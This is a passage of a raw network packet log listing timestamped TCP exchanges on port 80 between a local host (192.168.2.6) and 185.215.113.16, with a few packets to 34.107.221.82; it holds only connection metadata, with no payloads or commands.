Dec 12, 2024 21:50:38.318922043 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.318975925 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.319003105 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.319050074 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.319945097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.319991112 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.320029020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.320082903 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.320954084 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.321006060 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.321052074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.321099997 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.321964025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.322153091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.322177887 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.322258949 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.323030949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.323081970 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.323231936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.323278904 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.324033976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.324081898 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.324187994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.324234962 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.325032949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.325079918 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.325150013 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.325208902 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.326072931 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.326117039 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.326155901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.326210976 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.327138901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.327192068 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.327253103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.327301025 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.328133106 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.328182936 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.328224897 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.328274012 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.329099894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.329150915 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.467366934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.467386007 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.467448950 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.467448950 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.467874050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.467926979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.467953920 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.467988014 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.468812943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.468863010 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.468909979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.468957901 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.469876051 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.469926119 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.469955921 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.470004082 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.470854998 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.470905066 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.470957994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.471005917 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.471848011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.471900940 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.471949100 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.472018957 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.472868919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.472919941 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.473006964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.473056078 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.473881006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.473933935 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.473987103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.474036932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.474919081 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.474971056 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.475027084 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.475076914 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.475969076 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.476020098 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.476073980 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.476120949 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.476208925 CET	80	49953	34.107.221.82	192.168.2.6
Dec 12, 2024 21:50:38.476990938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.477042913 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.477097034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.477147102 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.478017092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.478096008 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.478142023 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.478190899 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.479062080 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.479113102 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.479212999 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.479262114 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.480057955 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.480122089 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.480158091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.480206966 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.481076956 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.481123924 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.481210947 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.481260061 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.482136011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.482187033 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.482291937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.482338905 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.483205080 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.483362913 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.483377934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.483478069 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.484270096 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.484323025 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.484358072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.484405994 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.485196114 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.485246897 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.485294104 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.485347986 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.486236095 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.486284971 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.486541033 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.486591101 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.487459898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.487505913 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.487611055 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.487659931 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.488580942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.488631964 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.488696098 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.488745928 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.489758968 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.489808083 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.489856005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.489909887 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.490516901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.490566015 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.490612030 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.490660906 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.491384029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.491431952 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.491499901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.491549969 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.492374897 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.492438078 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.492460012 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.492508888 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.493469000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.493530035 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.493612051 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.493660927 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.494609118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.494654894 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.494741917 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.494791031 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.495512009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.495560884 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.495616913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.495663881 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.496519089 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.496572971 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.496602058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.496651888 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.497488976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.497539997 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.497594118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.497644901 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.498588085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.498665094 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.498708010 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.498763084 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.499547958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.499598980 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.499645948 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.499696016 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.500579119 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.500628948 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.500684977 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.500735044 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.501646042 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.501697063 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.501838923 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.501888037 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.502684116 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.502734900 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.502787113 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.502835989 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.503663063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.503787994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.504597902 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.504710913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.504802942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.505692959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.505811930 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.505983114 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.505983114 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.506726027 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.506886005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.507376909 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.507786036 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.507841110 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.507916927 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.508044004 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.508785009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.508857965 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.508975983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.509023905 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.509902000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.509949923 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.510042906 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.510092020 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.510881901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.510936975 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.511023045 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.511070967 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.511914968 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.511965036 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.512018919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.512063980 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.512933969 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.512983084 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.513035059 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.513082981 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.513921976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.513969898 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.514034033 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.514081955 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.514944077 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.514993906 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.515048027 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.515094995 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.516006947 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.516060114 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.516104937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.516150951 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.517011881 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.517060995 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.517148018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.517195940 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.518089056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.518137932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.518208981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.518255949 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.519071102 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.519143105 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.519184113 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.519232035 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.520090103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.520138979 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.520185947 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.520232916 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.521079063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.521126986 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.583450079 CET	49953	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:50:38.659123898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.659187078 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.659214973 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.659259081 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.659554958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.659610033 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.659771919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.659821987 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.659863949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.659909010 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.660851002 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.660898924 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.660972118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.661020041 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.661873102 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.661925077 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.662082911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.662132978 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.662841082 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.662889957 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.662952900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.663005114 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.663873911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.664001942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.664347887 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.664952993 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.665002108 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.665047884 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.665092945 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.665930986 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.665977955 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.666009903 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.666058064 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.666991949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.667041063 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.667123079 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.667170048 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.667973042 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.668023109 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.668137074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.668185949 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.668998003 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.669048071 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.669131994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.669181108 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.670037031 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.670085907 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.670156002 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.670209885 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.671073914 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.671123981 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.671227932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.671276093 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.672117949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.672167063 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.672213078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.672264099 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.673105001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.673152924 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.673198938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.673248053 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.674145937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.674237013 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.674297094 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.675204039 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.675337076 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.675904036 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.676220894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.676295042 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.676332951 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.676387072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.677293062 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.677346945 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.677393913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.677448988 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.678287983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.678347111 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.678394079 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.678442001 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.679275990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.679347992 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.679384947 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.679456949 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.680310965 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:38.680377960 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:38.680425882 CET	80	49942	185.215.113.16	192.168.2.6
